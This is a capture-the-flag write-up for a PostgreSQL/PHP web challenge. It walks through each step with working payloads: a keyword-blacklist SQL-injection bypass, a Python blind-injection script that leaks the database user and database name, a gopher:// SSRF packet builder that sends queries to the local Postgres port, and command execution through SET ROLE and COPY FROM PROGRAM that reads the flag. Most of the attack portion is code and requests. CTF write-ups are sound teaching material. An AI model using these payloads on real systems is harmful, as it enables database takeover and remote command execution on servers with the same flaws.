Rating:
TLDR : You need to demonstrate SQL injection + SSRF + Packet analysis + RCE to get the flag
When accessing http://35.224.182.105/ you are given PHP script
<?php
include("./config.php");
$db_connection = pg_connect($host. $dbname .$user. $pass);
if (!$db_connection) {
die("Connection failed");
}
$name = $_GET['name'];
$column = $_GET['column'];
$blacklist = "adm|min|\'|substr|mid|concat|chr|ord|ascii|left|right|for| |from|where|having|trim|pos|";
$blacklist .= "insert|usern|ame|-|\/|go_to|or|and|#|\.|>|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";
$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor";
if (preg_match("/$blacklist/i", $name)){
die("Try Hard");
}
if (preg_match("/$blacklist/i", $column)){
die("Try Hard");
}
$query = "select " . $column . " from inctf2020 where username = " . $name ;
$ret = pg_query($db_connection, $query);
if($ret){
while($row = pg_fetch_array($ret)){
if($row['username']=="admin"){
header("Location:{$row['go_to']}");
}
else{
echo "<h4>You are not admin " . "</h4>";
}
}
}else{
echo "<h4>Having a query problem" . "</h4><br>";
}
highlight_file(__FILE__);
?>
From the code analysis, we know need to bypass the MONSTROUS filter.
We need to analyse two things seperately. The A column part and B string part
SELECT (A) WHERE inctf2020 = (B)
A part
From the filter we know that we can't use *
,username
,go_to
for our column, we could by pass this by using unicode
select U&"\0075sern\0061me" where ...
and select "username" where ...
are the same
B part
The filter also blocks the usage of single quotation '
. So how could we craft string constant without '
?
The answer is using dollar sign.
https://www.postgresql.org/docs/9.5/sql-syntax-lexical.html (See the documentation about dollar sign)
and to concat strings we can use ||
sign
select ... from inctf2020 where username = $$ad$$||$$mi$$||$$n$$
and select ... from inctf2020 where username = 'admin'
are the same
So here is our request
column=U&"\0075sern\0061me",U&"g\006f_t\006f"
and name=$$ad$$||$$mi$$||$$n$$
url encode it and send the request
http://35.224.182.105/?column=U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22&name=$$ad$$||$$mi$$||$$n$$
Next you will be redirected to http://35.224.182.105/feel_the_gosql_series.php
Here you are able to enter url and the server will curl the url.
For example try http://example.com
You can try with other protocols as well such as file://
, ftp://
, php://
,etc. But some of the protocols are blocked by backend php.
From the previous GoSQL challenges, the challenges used gopher://
for ssrf
And this time we could use the same technique too.
The things that is different is that the server is using postgres as backend.
So we need to craft postgres packet and then use it with gopher protocol.
A good blog post about how to craft packet is written by Spy3dr himself in https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/. You need to read this to understand how gopher works in this challenge.
From the blog post we know that gopher exploit only works when database uses username without password. So we need to leak username
So how do we leak username?
We could do this by using sql injection.
In this task, we are going to use blind sql injection to get the database username
In blind sql injection, LIKE
or similar is used to leak things
For example
select * from t where username LIKE 'A%'
So we need to be able to execute this command to leak username
select username,goto where username = case (user LIKE 'A%') then 'admin' else 'zzz' end
Things that we can do to convert above query:
lpad
and rpad
could be used instead of LIKE
(rpad(user, 2, 'x') = 'aa')
we could use newline '\n'So here is our query that we want
select username,goto from inctf2020 where username = lpad('admin',4+(case when ('te'=rpad(user,2,'x')) then 1 else 0 end),'x');
or
select U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22 where username = lpad($$ad$$||$$mi$$||$$n$$,4+(case when ($$te$$=rpad(user,2,$$x$$)) then 1 else 0 end),$$xx$$);
We could use the same technique to leak database name
Here is python script to leak username and database name
import requests
import string
def dbgetter():
url = "http://35.224.182.105/"
column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''
d = ""
for i in range(20):
for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}":
s = d + c
s = "$$||$$".join(s)
s = "$$" + s + "$$"
name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s +"=rpad(current_database()," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"
name = name.replace(" ", "\n")
r = requests.get(url, params={
"column": column,
"name": name
})
success = "functionality" in r.text
if success:
d = d + c
print(d)
def usernamegetter():
url = "http://35.224.182.105/"
column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''
d = ""
for i in range(20):
for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}":
s = d + c
s = "$$||$$".join(s)
s = "$$" + s + "$$"
name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s +"=rpad(user," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"
name = name.replace(" ", "\n")
r = requests.get(url, params={
"column": column,
"name": name
})
success = "functionality" in r.text
if success:
d = d + c
print(d)
if __name__ == "__main__":
usernamegetter()
dbgetter()
From here we know the username is honeysingh
and database name is gosqlv3
Read this blog post to craft gopher packet https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/.
TL;DR
psql -h localhost -U user
Here is the python script to trigger ssrf
import binascii
def main():
print("\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m")
user = "honeysingh"
database = "gosqlv3"
user_encoded = user.encode("utf-8").hex()
database_encoded = database.encode("utf-8").hex()
# Connect
dump = "000000" + "00" + "00"
dump += "03000075736572" + "00" + user_encoded + "00"
dump += "6461746162617365" + "00" + database_encoded + "00"
dump += "6170706c69636174696f6e5f6e616d65" + "00"
dump += "7073716c" + "00"
dump += "636c69656e745f656e636f64696e67" + "00"
dump += "55544638" + "0000"
d = list(dump)
h = str(binascii.unhexlify(dump))
d[6] = hex(len(dump)//2)[2]
d[7] = hex(len(dump)//2)[3]
dump = ''.join(d)
h = str(binascii.unhexlify(dump))
queue = input("\033[96m" +"\nQueue: " + "\033[0m")
dump1 = "51000000" + "00"
dump1 += queue.encode("utf-8").hex()
dump1 += "00"
d = list(dump1)
if len(hex(len(dump1)//2-1)) == 4:
d[8] = hex(len(dump1)//2-1)[2]
d[9] = hex(len(dump1)//2-1)[3]
elif len(hex(len(dump1)//2-1)) == 3:
d[9] = hex(len(dump1)//2-1)[2]
dump1 = ''.join(d)
dump2 = "5800000004"
print(dump)
print(dump1)
q = dump + dump1 + dump2
a = [q[i:i+2] for i in range(0,len(q),2)]
print("gopher://127.0.0.1:5432/_%" + "%".join(a))
if __name__ == "__main__":
main()
It is an ugly script but it WORKS
For example we can find postgres version with this query
SELECT VERSION();
The python script produces
gopher://127.0.0.1:5432/_%00%00%00%55%00%03%00%00%75%73%65%72%00%68%6f%6e%65%79%73%69%6e%67%68%00%64%61%74%61%62%61%73%65%00%67%6f%73%71%6c%76%33%00%61%70%70%6c%69%63%61%74%69%6f%6e%5f%6e%61%6d%65%00%70%73%71%6c%00%63%6c%69%65%6e%74%5f%65%6e%63%6f%64%69%6e%67%00%55%54%46%38%00%00%51%00%00%00%16%53%45%4c%45%43%54%20%56%45%52%53%49%4f%4e%28%29%3b%00%58%00%00%00%04
Copy that gopher url to http://35.224.182.105/feel_the_gosql_series.php input
And you'll get postgresql version
You can execute other queries as well.
Next we need to be able to execute scripts
we can execute script by using COPY FROM PROGRAM
command;
CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls /';
But in order to be able to execute this command you need to be super user.
First we are curious what users / roles exist in postgres
SELECT * FROM pg_catalog.pg_user
From the result we know that there is another username inctf
.
and inctf
user have superuser privilege
From here we could run shell command with this sql command
SET ROLE 'inctf'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls / -lah'; SELECT * FROM cmd_exec;
After execute the query, you can find and executable /readFlag
execute that to get your flag
inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}
Nice!